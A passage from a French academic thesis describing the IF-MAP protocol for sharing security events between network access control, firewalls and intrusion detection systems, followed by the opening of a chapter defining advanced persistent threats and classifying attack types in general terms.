Pour pallier à ces points de faiblesse, nous proposons un autre moyen d'intégration de la
solution NAC au reste des composantes de la sécurité.

81
Figure 3.3.4: Nouvelle vision de la sécurité

3.4 Proposition d'amélioration vers un écosystème de


sécurité
Dans la perspective de remédier aux contraintes d'intégration liées aux types de protocoles
classiques qu'on vient d'expliciter en l'occurrence (SNMP, syslog, API et Scripts) qui ont
un aspect réactionnel, nous allons explorer dans la suite l'aspect proactive de la sécurité
réseau gréce à l'adoption du protocole IF-MAP.

3.4.1 Aperçu global du protocole IF-MAP


Dans une architecture NAC, l'ultime objectif est de contrôler la session utilisateur de bout
en bout, du fait que même si la phase d'admission de l'utilisateur sur le réseau, se déroule
selon les prérequis de sécurité établis, après, le comportement du couple (Utilisateur-
machine) vis-à-vis de l'infrastructure peut changer. Dans ce cas, il faut que le système
de sécurité NAC mis en oeuvre, soit capable de mettre n à la session utilisateur immé-
diatement ou le mettre en quarantaine d'une manière ponctuelle (en temps réel).

Pour parvenir à cet objectif, l'échange d'information à propos de la session utilisateur


s'avére incontournable, et donc un protocole d'échange d'information de sécurité s'impose.
Nous avons opté pour le protocole IF-MAP pour ses caractéristiques fondamentales :
l'aspect standard et la ponctualité d'échange. En eet, l'IF-MAP est un protocole stan-
dardisé, crée par le Trusted Computing Group [44], qui regroupe de grandes sociétés,
comme HP, Juniper, Microsoft, McAfee et Symantec, ce qui nous permet d'assurer une
compatibilité de leurs solutions avec ce standard.

En clair, si un appareil est compatible IF-MAP, il pourra communiquer aisément avec


tous les autres. Avant, la diculté pour faire transiter des données, et faire communiquer
diérents réseaux, venait d'un besoin d'écrire du script, et donc une énorme perte de

82
temps, d'argent, et d'ecacité, notamment quand il s'agit de gérer les nouvelles versions
de logiciels ou matériels de ses fournisseurs. Avec l'IF-MAP, toutes les données dans le
réseau ou les environnements pare-feu, switching, routeur, sont envoyées vers un serveur
IF-MAP centralisé.

L'IF-MAP consiste donc en une surcouche uniée qui permet la communication. Le


serveur est ainsi capable de chercher des données, faire des transactions, etc. Par exem-
ple, lors de l'accès à un local technique "Noc" ou Datacenter, on utilise un badge pour
passer un contrôle physique d'accès aux locaux; Une fois reconnu, et l'aide d'un système
IF-MAP, on est reconnu partout au sein du Datacenter si on connecte notre ordinateur au
réseau. Le pare-feu nous reconnaîtra alors. Grâce à la notication if-MAP du contrôleur
d'accès vers le rewall, ce dernier peut prendre alors une décision : il peut nous accorder
un accès personnalisé à une partie du réseau, à Internet, aux e-mails, selon le prol.

Il est d'une importance capitale que la solution de sécurité mise en place, s'intégre ef-
cacement avec les composantes clés de l'accès utilisateur en l'occurrence le contrôleur
d'accés NAC, le Pare-feu et l'IPS/IDS, dans une perspective d'assurer la sécurité de la
session utilisateur de bout en bout.

Cette intégration est si nécessaire voir obligatoire pour approcher une réaction temps
réel et n'est possible qu'avec l'utilisation d'un protocole de communication capable de
véhiculer les notications de sécurité d'une manière ecace et ponctuelle comme il sera
illustré dans la suite de ce chapitre à travers l'adoption du protocole IF-MAP.

En eet, nous aurons besoin d'une exibilité sur le type et la forme des données à échanger.
Par conséquent, nous aurons besoin de faire un transfert simultané de la donnée et de
sa description "Metadata". Une métadonnée (mot composé du préxe grec meta, le
mot signie donc proprement "donnée à propos de donnée") est une donnée servant à
dénir ou décrire une autre donnée quelconque. Un exemple type est d'associer à un livre,
l'auteur, le titre et la date de publication, ou associer à une photo les coordonnées GPS du
lieu où elle a été prise. Ces métadonnées sont à la base des techniques du Web sémantique.

L'interface Metadata Access Points (IF-MAP) est une spécication d'un systéme client/serveur
ouvert. Ce protocole a été développé par "Trusted Computing Group (TCG)" comme
étant le protocole fondamental d'une suite protocolaire sur laquelle se base l'architecture
"Trusted Network Connect (TNC)". Il a été initialement destiné au partage des données
entre plusieurs systèmes, à travers un réseau, en utilisant une représentation abstraite
des données "Metadata".

Nous avons prêté une attention spéciale à ce protocole quant à sa capacité et sa richesse
qui permet le partage d'information de sécurité "security events" entre plusieurs com-
posantes de sécurité en réseau.

En eet, ce standard à vocation client-serveur permet aux composantes de sécurité ap-


pelés clients MAP, d'échanger des informations relatives à la sécurité du réseau, par le
biais d'une base de données serveur "Metadata Access Point" ou MAP.

83
1. Utilisation du méta-langage XML

Les données de sécurité ou "metadata" sont stockées sous forme de données XML.
Chaque donnée du metadata est typée par un "tag" qui indique sa signication et
identie son schéma XML qui facile le mappage et l'extraction des données utiles.

Le language XML ( eXtensible Markup Language), a été recommandé par W3 con-


sortium pour le stockage et le transport de données entre les systèmes.

Par similitude avec l'HTML, les balises dénissent l'apparence des données, les
titres, début des paragraphes, etc. Dans le code XML, les balises dénissent la
structure et la signication des données comme illustré par l'exemple suivant :

<question>
Que pouvons-nous faire avec XML dans notre cas ?
</question>

Nous pouvons échanger des données "informations de sécurité" en standard entre


des systèmes hétérogènes.

<?xml version="1.0"?>
<book id="123">
<title>sécurité réseau</title>
<author>David West</author>
<published>
<by>Microsoft Press</by>
<year>2016</year>
</published>
</book>

Parmi les points forts du langage XML est son indépendance de la plateforme, et
par conséquent les données envoyées dans ce format seront acceptées et exploitées
par tous. Il est similaire é HTML et utilise aussi des balises ou tags é la diérence
que HTML est utilisé pour la visualisation des données alors que XML est employé
pour le stockage et le transfert de ces données.

La validation d'un document XML est faite par le biais d'un schéma DTD (docu-
ment Type Denition) à l'ancienne, ou XSD (XML Schema Denition) qui spécie

84
le type de données stockées en XML.

Deux systèmes voir méme deux applications hétérogénes peuvent échanger de l'information
en utilisant un chier XML correctement formaté (selon le schéma adopté DTD ou
XSD).

Les documents XML sont complétement indépendants des plates-formes, des logi-
ciels, des systèmes d'exploitation, etc. De plus, leur nature hiérarchique permet
de représenter des structures de données fort complexes. Ces deux raisons font en
sorte que cette norme est utilisée comme le principal format d'échange de données
entre systèmes hétérogènes, par exemple des bases de données.

XML, et grâce à l'utilisation de l'encodage d'UTF-8, supporte très bien tous les
alphabets ce qui lui octroie une grande richesse d'échange de contenu par rapport
aux langages similaires. La gure 3.4.1 présente une comparaison entre XML et
HTML.

Figure 3.4.1: Comparaison XML - HTML

Une fois les données sont formatés XML, elles seront encapsulées dans un protocole
de transport SOAP.

2. Principe du protocole SOAP


SOAP (Simple Object Access Protocole) est une recommandation du W3C (World
Wide Web Consortium), SOAP est destiné à être un protocole léger dont le but
est d'échanger des informations structurées dans un environnement décentralisé et
distribué.

Le protocole SOAP sera implémenté en gardant comme optique deux objectifs prin-
cipaux : la simplicité et la possibilité d'extension. Pour cela, ce protocole utilise la
technologie XML (Extended Markup Language) pour dénir un format de message
qui puisse être échangé sur diérents protocoles de transport.

85
Le SOAP peut être transporté par HTTP/HTTPS qui est un protocole de transport
standard, et peut être sécurisé à l'aide d'une couche SSL en utilisant des certicats.

Mode de fonctionnement du protocole SOAP


SOAP codie simplement une pratique existante, â savoir l'utilisation conjointe de
XML et HTTP; Il s'agit d'un protocole minimal pour appeler des méthodes sur des
serveurs, services, composants, objets.

Il a pour avantage de ne pas imposer une API ou un "runtime", ni l'utilisation


d'un ORB (ensemble de fonctions classes Java, bibliothéques C++ etc, qui implé-
mentent un bus logiciel par lequel des objets envoient et renvoient des requêtes et
des réponses, de manière transparente et portable tel que CORBA, DCOM, etc).

Aussi, il n'impose pas l'utilisation d'un serveur web particulier (Apache, IIS, etc)
ni d'un modéle de programmation particulier. SOAP peut être aisément porté sur
toutes les plates-formes et les technologies.

Format d'un message SOAP


Un message SOAP est formé de trois éléments :

• l'enveloppe SOAP (SOAP envelope) dénit un cadre d'ensemble pour décrire


ce qui est dans le message, qui gère ce message et si ce message est optionnel
ou mandataire ;
• les régles d'encodage dénissent un mécanisme de sérialisation qui peut être
utilisé pour échanger des types de données d'une application précise ;
• le SOAP RPC qui dénit une convention et peut être utilisé pour représenter
des appels et des réponses de procédures distantes.

Bien que ces trois parties soient décrites ensemble en tant que des parties de SOAP,
elles sont fonctionnellement diérentes. En particulier, l'enveloppe et les régles
d'encodage sont dénies dans des espaces de nommage (namespaces) diérents pour
faciliter la modularité.

Ainsi l'architecture du SOAP est décrite par la gure 3.4.2 suivante.


Ce protocole permet de formater les données et les échanger entre des systèmes
hétérogènes, et c'est principalement pour ces raisons, que nous l'avons adopté
comme premier choix dans notre tentative d'intégrer des solutions de sécurité à
technologies hétérogènes (Pare-feu, IPS/IDS, SIEM, Infrastructure en commuta-
tion et routage, et potentiellement en terme de ltrage applicatif WAF).

86
Figure 3.4.2: Architecture du SOAP

Ci-dessous (la gure 3.4.3) une illustration technique, qui détaille l'échange d'information
formaté XML via le protocole web HTTP/HTTPS.

87
Figure 3.4.3: Echange d'information formaté XML via le protocole Web HTTP/HTTPS

88
Une fois les données sont structurées et typées selon un modéle (meta-data), elles
sont ensuite encapsulées dans le standard web HTTP/HTTPS pour être acheminés
via le réseau vers le serveur central (le Serveur MAP).

A ce point, il s'agit d'un simple échange client-serveur en HTTP comme on peut le


constater sur la gure 3.4.4.

Figure 3.4.4: Echange client-serveur en http

89
Cette moulinette de transformation peut être résumée selon le schéma de la gure
3.4.5.

Figure 3.4.5: XML, SOAP et HTTP à la base du fonctionnement IF-MAP

Ces données formatées en XML, enveloppées en SOAP pour être transportées constitue
la base de fonctionnement IF-MAP.

3.4.2 Fonctionnement du protocole IF-MAP


IF-MAP permet à des technologies de sécurité hétérogènes de collaborer et d'échanger
des informations concernant l'état de sécurité global de l'infrastructure IP. Cet échange
permet de donner un statut de la sécurité globale en temps réel, du moment où chaque
composante de sécurité (Pare-feu, IPS/IDS, etc) consomme ou alimente une instance cen-
trale capable de traiter les événements de sécurité et les transformer en action selon des
politiques de connement des attaques potentielles.

Cet échange d'information en metadata selon un modéle client-serveur permet d'atteindre


l'interopérabilité nécessaire pour réduire la surface d'attaques due aux divergences des
technologies; le client MAP (MAPC) peut publier une nouvelle meta-data au serveur
MAP (MAPS). Il peut aussi s'inscrire à une metadata pour être avisé quand une mise à
jour est publiée ou méme faire une recherche d'une meta-data concernant un événement
de sécurité pour s'informer.

Une composante de sécurité peut être un client ou un serveur, selon si elle va informer
ou s'informer selon trois opérations de base suivantes, qui seront détaillées par la suite.

90
• Publish : le client peut envoyer des informations pour les autres clients ;

• Search : le client peut chercher de l'information selon des "patterns" ;

• Subscribe : le client s'inscrit pour recevoir des notications quand il y a du nou-


veau envoyé par les autres composantes de sécurité.

Ces opérations vont être orchestrées par un serveur central appelé Serveur MAP ou
"MAPS", comme illustré par la gure 3.4.6 ci-dessous.

Figure 3.4.6: IF-MAP - Protocole d'échange MAPS/MAPC

Pour stocker les informations reçues de la part des clients IF-MAP, le serveur utilise deux
diérents types de données, les identiants "root Hub" et la meta-data.

Dans notre cas, on fera usage de 5 identiants:

• identité ;

• addresse IP ;

• addresse MAC ;

• access request

• l'équipement ou "device".

91
L'autre type de donnée est la metadata, qui doit être liée à au moins un identiant (mais
il peut tout à fait être lié à deux identiants).

Ces liaisons metadata seront instanciées pour des valeurs indicatives sur l'identité de
l'utilisateur, son adresse IP, l'adresse MAC de sa machine, le type de la machine et le
type de l'accés, comme le montre la gure 3.4.7.

Figure 3.4.7: Les Meta-données pour une requéte d'accès

Chaque client IF-MAP "MAPC", doit s'authentier auprès du serveur MAP "MAPS" via
son compte "nom utilisateur et mot de passe" ou son certicat sachant que les données
doivent circuler en sécurité avec du chirement SSL.

De tel mécanisme apporte une visibilité en temps réel sur la sécurité du réseau et en par-
ticulier sur le comportement de l'utilisateur et l'usage de ses applications une fois admis
et autorisé sur le réseau IP. Ceci est rendu possible grâce au partage des événements de
sécurité à travers tout le réseau, où chaque technologie exécute une tâche déterminée et
notie les autres composantes de sécurité sur les éventuels incidents (empreintes d'une
attaque possible) et ce presque en temps réel.

Le réseau IP arrive à converger pour constituer un état (aperéu sur l'évolution de sa


sécurité). Cette convergence est approchée par le biais des aspects suivants :

• partage des événements de sécurité d'une maniére presque instantanée : l'information

92
"notication" est envoyée au lieu d'être recherchée ;

• interopérabilité : l'information est échangée indépendamment de la plateforme.

Ainsi tous les équipements participent au bus IF-MAP via le MAP server (la gure 3.4.8).

Figure 3.4.8: Interaction IF-MAP entre le serveur MAPS et les équipements de sécurité

Par ailleurs, les opérations IF-MAP pour mettre à jour au fur et mesure le serveur MAPS
sont décrites en détail ci-dessous :

• Publish : informer les autres du nouveau ou d'une mise à jour "metadata"


Informer les autres composantes de sécurité clients MAPC à propos des change-
ments <metadata>, en les publiant sur le serveur MAP.
Exemple : le serveur Radius publie l'authentication d'un utilisateur (login logout)

• Search : informer si un "metadata pattern" est trouvé

93
Les clients peuvent retrouver l'information relative à un identiant ou un lien par-
ticulier qui a été publié.
Exemple : une application demande à retrouver l'emplacement physique (commu-
tateur, Wi, VPN) de la connexion utilisateur

• Subscribe : informer quand un "metadata pattern" est trouvé.


S'inscrire pour recevoir des mises à jour ltrées selon un critére "metadata pattern"
Exemple : informer quand la session utilisateur passe de session ouverte à session
fermée.

• Notify : (cas particulier de Publish)


Les clients MAP ou "MAPC" publient des notications temporaires qui ne sont pas
stockées sur le serveur MAP. Néanmoins, cela leur permet de s'abonner au bus de
messages sous la forme (1 → plusieurs).

Nous rappelons que notre objectif principal est de protéger des ressources sensibles vis-
à-vis des demandes d'accés non autorisées (tentatives de compromettre le systéme de
sécurité mis en place).

En eet, la premiére étape de tout contréle ecace, commence par une authentication
de l'utilisateur et le scan de son poste. Ce contrôle est indispensable mais insusant car
au cours de la session, l'utilisateur peut devenir volontairement ou involontairement une
source d'attaque pour son infrastructure.

Dans cette perspective, nous avons détaillée dans le chapitre 2, une couche à part entière
appelée NAC pour évaluer de sécurité avant d'établir la session et accepter l'accès de
l'utilisateur vers l'infrastructure.

A ce stade, si on admet un utilisateur sur le réseau, on est en mesure de reconnaître son


identité, le type voir la version logicielle et la conguration de sécurité de sa machine,
et éventuellement d'autre paramètres de sa session comme le temps de connexion ou la
localisation de son point de connexion sur le réseau.

Ceci est rendu possible par un échange entre les composantes de sécurité (via le protocole
IF-MAP) qui ont validé la session utilisateur en l'occurrence le serveur NAC, le commu-
tateur ou la borne Wi, le pare-feu et l'IPS/IDS et éventuellement d'autres briques de
sécurité tel que le WAF qui seront compatible IF-MAP.

Selon le mécanisme de contrôle d'accès NAC, la session utilisateur peut être résumée par:

• identication

• authentication

• autorisation

94
• déconnexion

La session utilisateur, peut être correctement contrôlée si les 3 phases (Identication, Au-
thentication et Autorisation) sont bien gérées, avant que la dernière phase "déconnexion"
ne se produise par l'initiative de l'utilisateur ou forcée par le système de contrôle en cas de
déviation par rapport aux autorisations accordées à l'ouverture de session comme illustré
par la gure 3.4.9.

Figure 3.4.9: Fonctionnement de l'IF-MAP

Les informations de sécurité relatives à la session utilisateur sont partagées via IF-MAP.
Chaque composante de sécurité (Pare-feu, IDS/IPS, WAF) est capable d'informer et
s'informer sur la session utilisateur et mettre n à cette dernière en cas de détection
d'une intrusion.

Les clients IF-MAP "MAPC" tel que le Pare-feu et la sonde IPS échangent les événements
de sécurité en temps réel avec le serveur MAPS selon la gure 3.4.10.

95
Figure 3.4.10: Echange IF-MAP: MAPC <-> MAPS

Les clients MAPC échangent en détail les informations des sessions réseau qu'ils traitent,
comme le montre le scénario de la gure 3.4.11 suivante.

Figure 3.4.11: Scénario d'échange IF-MAP

3.4.3 Adoption d'IF-MAP comme Protocole d'échange de la sécu-


rité NAC
Nous entamons dans la suite, la modélisation du NAC en explicitant son architecture.

96
Architecture du NAC classique
Nous allons dans la suite modéliser le NAC en trois composantes (la gure 3.4.12).

Figure 3.4.12: Architecture du NAC classique

Dans ce modèle, on se limite à une administration centralisée du NAC par le biais du


serveur NAC qui pilote la session utilisateur par des commandes d'administration en-
voyées au PEP via des protocoles classiques tel que (SNMP, Syslog, ssh etc) ou même
des API.

Dans cette approche classique, on ignore l'apport des autres technologies comme l'IDS/IPS,
SIEM, WAF etc., surtout pour contréler la session utilisateur en temps réel. D'où la né-
cessité d'explorer une nouvelle approche qu'on détaillera ci-après.

Architecture NAC améliorée par l'usage du protocole IF-MAP

Pour rendre l'approche visible, l'interaction entre les composantes de sécurité se trans-
forme à un schéma en étoile dont le centre est le serveur IF-MAP (la gure 3.4.13).

97
Figure 3.4.13: Architecture NAC améliorée par l'usage du protocole IF-MAP

Par ailleurs, nous allons présenter ci-dessous, la diérence entre la méthode de recherche
"Search" propre à IF-MAP et "Query" pour les SGBD, pour mieux comprendre l'apport
important du protocole IF-MAP dans l'amélioration de la solution NAC .

En eet, IF-MAP permet la recherche d'information non structurée, à l'opposé du lan-


gage de requête où une structuration des données est imposée. La nature des bases de
données imposent la connaissance préalable de labels et structure ce qui est en soit une
rigidité quant à la recherche de paramètres de sécurité appelés "attributs" qui peuvent
varier dans le temps pour un même usager par exemple l'attribut "location" qui peut
varier d'un accès wi à un accès laire lors du déplacement de l'utilisateur au sein de
l'infrastructure réseau.

• Directories vs MAPs
Il s'agit de traiter du trac réseau en théorie (machine-à-machine) et donc tech-
niquement les bases de données au sens classique à l'instar de LDAP par exemple,
mises à jour et interrogées d'une manière centrale, ne répondent pas à ce besoin où
on aura à construire une MAP virtuelle à partir d'information répartie et mise à
jour non pas par l'interrogation (au sens SNMP get) mais par des événements de
type push (s'il y a événement, envoyer une mise à jour).

Par analogie avec Facebook, on ne cherche pas l'information mais on la reçoit dès
qu'une mise à jour se produit.

Ces MAPs ainsi construites sont plus ou moins similaires à un DNS multi-master
dont l'implémentation a été personnalisée en introduisant une combinaison de rou-
tines pub/sub (publish et subscribe).

• Données historiques ou en temps réel

98
IF-MAP "real-time state data" utilise read/write transactions, sans autant sup-
porter le stockage historique des données et des analyses, ni les propriétés associées
avec les systèmes de log ou data warehousing. Dans notre étude de cas liée à la
sécurité, ces systèmes dits "Security Event Managers" (SEM) peuvent souscrire à
un serveur MAP, et ensuite être en mesure de recevoir des notications et envoyer
"publish" des actions qui résultent de la corrélation d'événements "knowledge" au
serveur MAP comme résultat d'analyse et de corrélation "SIEM".

Cette caractéristique est liée aux réalités d'implémentation incluant le type de "pat-
terns" utilisé lors de la demande query/search.

La persistance des résultats d'opérations IF-MAP, par le biais de garder l'historique,


tend à changer la nature temps réel ou "transactionnel" de ces opérations vers des
résultats en diéré qui ne reétent pas ponctuellement l'état de sécurité du réseau.

• One-to-many Links
IF-MAP supporte une intégration un à plusieurs (1 > +links), par opposition
aux autres protocoles classiques tel que le SNMP, syslog et d'autres qui orent une
intégration un composant à un.

• Montée en charge
L'adoption d'IF-MAP, a été proposée et testée à petite échelle "en Lab" par l'intégration
d'un nombre minimal de composantes ou d'équipements, et donc le problème de
performance n'a pas été réellement le premier souci.

De cette manière, l'intégration des composantes de la sécurité est transformée d'une


intégration bilatérale 1 à 1 vers 1 à plusieurs moyennant l'usage du IF-MAP.

IF-MAP adopté comme protocole d'échange pour la sécurité

Comme illustré par le schéma ci-dessus (la gure 3.4.14), l'approche IF-MAP transforme
complétement la méthode d'intégration des solutions de sécurité qui travaillaient d'une
manière quasi autonomes (sauf quelques intégrations propriétaires du même éditeur ou
sous forme de partenariat entre éditeurs).

Notre ultime objectif est de changer l'approche d'une sécurité réactive où les responsables
de sécurité doivent faire constamment un eort de recherche et d'analyse de l'information
de sécurité relative aux composantes clés du système d'information (Antivirus, IDS/IPS,
WAF, SIEM, etc), vers une approche proactive où cette information de sécurité bien sen-
sible vient vers ces responsables (méthode "push") que permet l'adoption du mécanisme
IF-MAP comme il a été détaillé dans le paragraphe précédent. Nous visons donc une
approche "un composant à plusieurs", comme le montre la gure 3.4.15.

99
Figure 3.4.14: Approche IF-MAP

Figure 3.4.15: Approche "un composant à plusieurs" proposée

100
Ainsi toutes les composantes de sécurité peuvent envoyer et recevoir les notications im-
pactant la sécurité globale sans délai.

Cette transformation de l'approche, rend la plateforme de sécurité plus collaborative et


assiste les responsables de sécurité à converger vers un écosystème au lieu de plusieurs
solutions partielles sans interaction.

3.5 Conclusion et Perspectives


Nous avons proposé IF-MAP dans un environnement LAB, en utilisant des versions open
sources ou des versions de test limitées dans le temps qui sont :

• IF-MAP [56], Irond est le serveur IF-MAP 2.0 server ;

• Irongui, [57], est le client visualization IF-MAP ;

• Irondhcp, est une extension du serveur ISC DHCPD pour publier le metadata ip-
mac ;

• Snort, Nagios et Netlter (module iptables) [53], extensions IF-MAP client ;

• Ifmapj [55], la librairie Java de développement des IF-MAP clients ;

• IF-MAP extensions for the mikado macmon NAC solution .

Dans le domaine de la recherche il y a toujours une légère diérence entre l'approche


théorique et celle pratique relative à l'implémentation.

En eet, on a testé IF-MAP en laboratoire, avec un nombre limité d'équipements de


sécurité. Néanmoins, il n'y a pas de garantie sur la montée en charge concernant le
nombre d'événements échangés, surtout dans un environnement plus large et complexe,
et par conséquent un travail supplémentaire d'analyse de la montée en charge et le test
de la proposition en environnement plus exigeant devra être eectué.

101
Chapitre 4
Contrôle d'accès face aux attaques
chainées évoluées
L'objectif de ce chapitre est d'expliciter les attaques de nouvelle génération qui combinent
les techniques avancées aux tactiques et moyens de camouage, dans le but de créer de
nouvelles attaques indétectables par les systèmes de protection à base de signatures et
d'analyse classique. Dans ce qui suit nous allons décrire l'anatomie de ces attaques pour
étudier en détail les deux aspects d'évasion et de persistance.

En perspective, nous allons proposer une architecture couplée au protocole d'échange


d'information de sécurité élaboré précédemment pour contrer ces attaques dites de nou-
velle génération [2]1 , [4]2 .

4.1 Introduction
Lors de ce quatrième chapitre, nous allons nous intéresser à l'analyse d'un nouveau type
d'attaques qui présente un réel dét aux responsables de sécurité, et qui met en défaillance
les systèmes de détection et de prévention classiques et surtout ceux à base de signatures.
Nous allons donc expliciter ce type d'attaques, analyser son mode de fonctionnement et
proposer une amélioration de la méthode de prévention pour faire face à ces attaques
avancées.

le schéma synoptique d'un réseau IP classique peut être approché comme présenté dans
la gure 4.1.1.

La sécurité de ce réseau comme on l'a vu au chapitre précédent autour de la technologie


NAC, peut être simpliée à la formulation suivante : autoriser le "bon usage" et bloquer
le mauvais, alors que la sécurité applicative est plus complexe que la sécurité purement
1 A. Lakbabi, G. Orhanou and S. El Hajji, "Contextual Security with IF-MAP", International Journal
of Security and Its Applications, Vol.8, No.5, pp.427-438, 2014.
2 N. Moukah, S. Sabir, A. Lakbabi and G. Orhanou, "SIEM Selection Criteria for an ecient con-
textual security", The IEEE International Symposium on Networks, Computers and Communications
(ISNCC), Marrakech, Morocco, May 2017

102
Figure 4.1.1: Schéma synoptique d'un un réseau IP classique

réseau. Les applications par nature, orent des services pour une surface d'accès non
contrôlée et par conséquent elles sont exposées à des accès inconnus et potentiellement
dangereux; Les applications web en sont une bonne illustration.

L'enjeu de sécurité auquel fait face le réseau schématisé ci-dessus peut être modélisé par
la gure 4.1.2.

Figure 4.1.2: Enjeux de sécurité informatique

Ajouté à cela l'évolution des techniques de pénétration des systèmes informatiques vers
les nouvelles attaques connues sous le nom "Menaces Avancées Persistantes" ou en anglais
"Advanced Persistants threats" APT apparues en 2015, en grande partie à cause de la
médiatisation du piratage de Sony Picture Entertainment, révélé à la n de l'année 2014.
La liale de production et de distribution de Sony aurait perdu le contrôle de plus de

103
100 térabytes de données sans que l'entreprise, et la sécurité mise en place, n'aient pu
détecter la faille [59].

Ces Menaces Avancées Persistantes, comme leur nom l'indique, sont assez poussées et
constituet une menace avancée dans le sens où les attaquants ont à leur disposition des
ressources des outils leur permettant de mener des attaques furtives, contre lesquelles
il est très dicile de se défendre. Souvent derrière ces attaques se cachent des agences
gouvernementales ou des groupes agissant sous les ordres d'une organisation criminelle.
Ces entités disposent de budget conséquent pour nancer des bataillions entiers de pirates
informatiques et même pour conduire leur propre programme de recherche dans la dé-
couverte des failles 0-day. Les APT sont presque toujours menés à des ns politiques ou
nanciers. En règle génèrale, les acteurs résponsables de ce type de piratage ne visent pas
seulement à faire tomber un seul système cible mais vise à disposer des accès nécessaires
pour permettre des exploits à la demande et d'inltrer les organisations, normalement
protégées par des solutions de prévention d'actualité.

Depuis des années, ces attaques ont été utilisées à des ns obscures de cyber-espionnage.
En eet, au cours des sept dernières années, on a vécu plusieurs exemples d'inltration
d'importants organismes tel que des gouvernements, des organisations aliées, comme
des ministères et agences gouvernementales, des (laboratoires d'idées politiques) des édi-
teurs de sécurité (RSA Security, Inc ) ou encore des sous-traitants liés aux gouvernements.
C'est ce que révélait des rapports de sécurité faisant l'actualité internationale.

Les attaques ciblées sont supportées par des états ou autres groupes puissants du fait de
leur complexité et des investissements nécessaires pour les soutenir [60]. Nous avons déjà
eu le cas avec le toolkit Black Energy qui a été utilisé par de nombreux groupes criminels
avant d'être utilisé pour des attaques politiques contre des états ou encore avec le groupe
Sofacy qui "recycle" des malwares de la famille des Carberp ou Metasploit.

Au-delà de la banalisation de ces outils créant des chaînes de pouvoir et des structures de
commandement vastes et informels, on s'attend à une industrialisation de ces manoeuvres.

Enn, que ce soient des états, des criminels ou des hacktivistes, tous vont se tourner vers
des attaques ciblées destructrices : certaines auront pour but de mettre à mal l'intégrité
des données visées en les modiant ou en les corrompant ou pire d'autres les eaceront
ou les chireront de sorte à ce qu'on ne puisse plus les utiliser comme c'est le cas pour les
ransomwares. Ces attaques ransomwares dévastatrices visent à chirer les données des
victimes et demander une rançon pour leur en fournir la clé de déchirement. L'exemple
qui s'impose en la matière est le Ransomware Wanna Cry 2.
Les nouvelles formes de menaces, toujours plus surprenantes, sont donc plus que jamais
à l'ordre du jour.

La maturité des "places de marché" pour les APT a fortement contribué à créer un
environnement où la question n'est plus de savoir combien d'entreprises se sont faites
compromises, mais à quel point elles ont été pénétrées. Cette attaque est l'exploitation
d'une faille du système informatique (système d'exploitation, logiciel ou bien même suite

104
à une mauvaise manipulation de l'utilisateur) à des ns généralement préjudiciables.

Sur internet des attaques ont lieu en permanence, à raison de plusieurs attaques par
minute sur chaque machine connectée. Ces attaques sont pour la plupart lancées au-
tomatiquement à partir de machines infectées (par des virus, chevaux de Troie, vers, etc.)
ou des robots de recherche de failles automatisée.

Quant à la classication de ces attaques on y trouve :

1. Les attaques d'infrastructure

Ces attaques permettent de compromettre tout le réseau par une simple entrée sur
un équipement vulnérable mis en réseau selon l'un des scénarios suivants :

• éxploiter une faille d'un équipement réseau derrière le rewall ;


• éxploiter une faille dans le mécanisme de transport réseau TCP/IP ou Net-
BIOS ;
• installer un analyseur protocolaire au sein du réseau pour capturer et analyser
les ux de données dans la perspective de détecter des informations conden-
tielles ;
• inonder un réseau IP par un très grand nombre de requêtes pour le mettre
hors service : Denial of Service (DoS) ou DDos lorsqu'il s'agit d'une attaque
distribuée à partir de plusieurs sources.

2. Les attaques des systèmes d'exploitation

Certains systèmes d'exploitation, comme Windows et Linux présentent une cible


préférées des hackers, parce qu'ils sont largement utilisés en entreprises et sur
Internet. Ci-après quelques variantes d'attaques ayant pour cible des systèmes
d'exploitation :

• éxploiter une implémentation ; protocolaire spécique


• attaquer les systèmes d'authentication intégrés "built-in" (Kerberos) ;
• déjouer la sécurité des systèmes de chiers ;
• cracker les mots de passe et les systèmes de chirement utilisés par les systèmes
d'exploitation.

3. Attaques avancées ciblant les failles applicatives des serveurs et clients

Certains programmes classiques tel que les logiciels de messagerie, de résolution de


noms de domaine et d'application web constituent une cible privilégiée d'attaques
avancées en exploitant les failles des protocoles de base (DNS, HTTP, HTTPS
et SMTP) exposés le plus souvent directement ou à travers les Pare-feux et les
IDS/IPS:

105
• attaques DNS ;
• attaque des plateformes Web, Hypertext Transfer Protocol (HTTP) et http
sécurisé ou HTTPS ;
• attaque des systèmes de messagerie, Simple Mail Transfert Protocol (SMTP).

Ces vecteurs d'attaques sont exploités directement si la faille est évidente et le sys-
tème cible n'a pas de protection sous forme de patch (installé directement sur le
système cible) ou sous forme de virtuel patching (installé sur un système intermé-
diaire tel que l'IPS) .

Par ailleurs, les nouvelles attaques dites "attaques à faibles signaux" sont quasi indé-
tectables par les systèmes de protection actuels, dans la mesure où ces attaques adoptent
une stratégie de propagation dite technique avancée d'évasion "Advanced Evasion Tech-
niques".

Ces attaques sont tellement bien pensées qu'elles sont conçues pour fonctionner en étape
"staged attacks". Elles commencent par avoir un accès quelconque sur l'infrastructure
cible comme une étape qui introduit à une attaque évoluée et adaptée en fonction de la
cible. La qualité de l'attaque dépend énormément de la durée de cet accès qui servira
d'étape préliminaire pour accomplir le reste de l'attaque d'où leur nom "attaques avancées
persistantes" ou "Advanced persistent threats".

4.2 Les attaques avancées conçues en chaîne


4.2.1 Dénition d'une attaque APT
On appelle APT (Advanced Persistent Threat) ou une attaque persistante [62], une at-
taque durable qui vise une organisation, une entreprise, un pays, une administration ou
encore une ONG. Néanmoins, toute entreprise peut être un jour concernée. Nombreuses
sont les entreprises, ces dernières années, qui ont été victimes de telles attaques sur leurs
systèmes d'information.

Une APT fait usage d'un degré élevé de dissimulation sur une longue période de temps.
Le but est de placer du code malveillant personnalisé sur un ou plusieurs ordinateurs
pour eectuer des tâches spéciques et rester inaperçu pendant la plus longue période
possible. Comme exemple d'attaques APT on peut citer : Stuxnet [64] et Deep Panda
[63]. Il s'agit, en fait d'attaque basée sur une stratégie dont l'objectif est de rester le plus
longtemps possible sans éveiller les soupçons (furtivité), par opposition à une attaque
"opportuniste".

L'attaque est scénarisée par les attaquants, et des objectifs précis sont établis pour com-
promettre toute une chaîne de systèmes tout en restant inaperçue ("low and slow").

106
Les APT peuvent ainsi se dénir comme des attaques commanditées, ciblées qui ex-
ploitent du code malveillant personnalisé implanté sur des ordinateurs de l'organisation
cible. Elles sont l'oeuvre de cybercriminels de plus en plus qualiés et motivés, bien
nancés et nécessitent une implication humaine forte et coordonnée.

Elles sont destinées à inltrer une victime particulière, à extraire une ou des informations
déterminées et à permettre un contrôle à distance persistant sur les machines exploitées.

4.2.2 Anatomie d'une attaque APT


L'objectif de la présente section est de dénir les diérentes étapes d'une attaque APT.

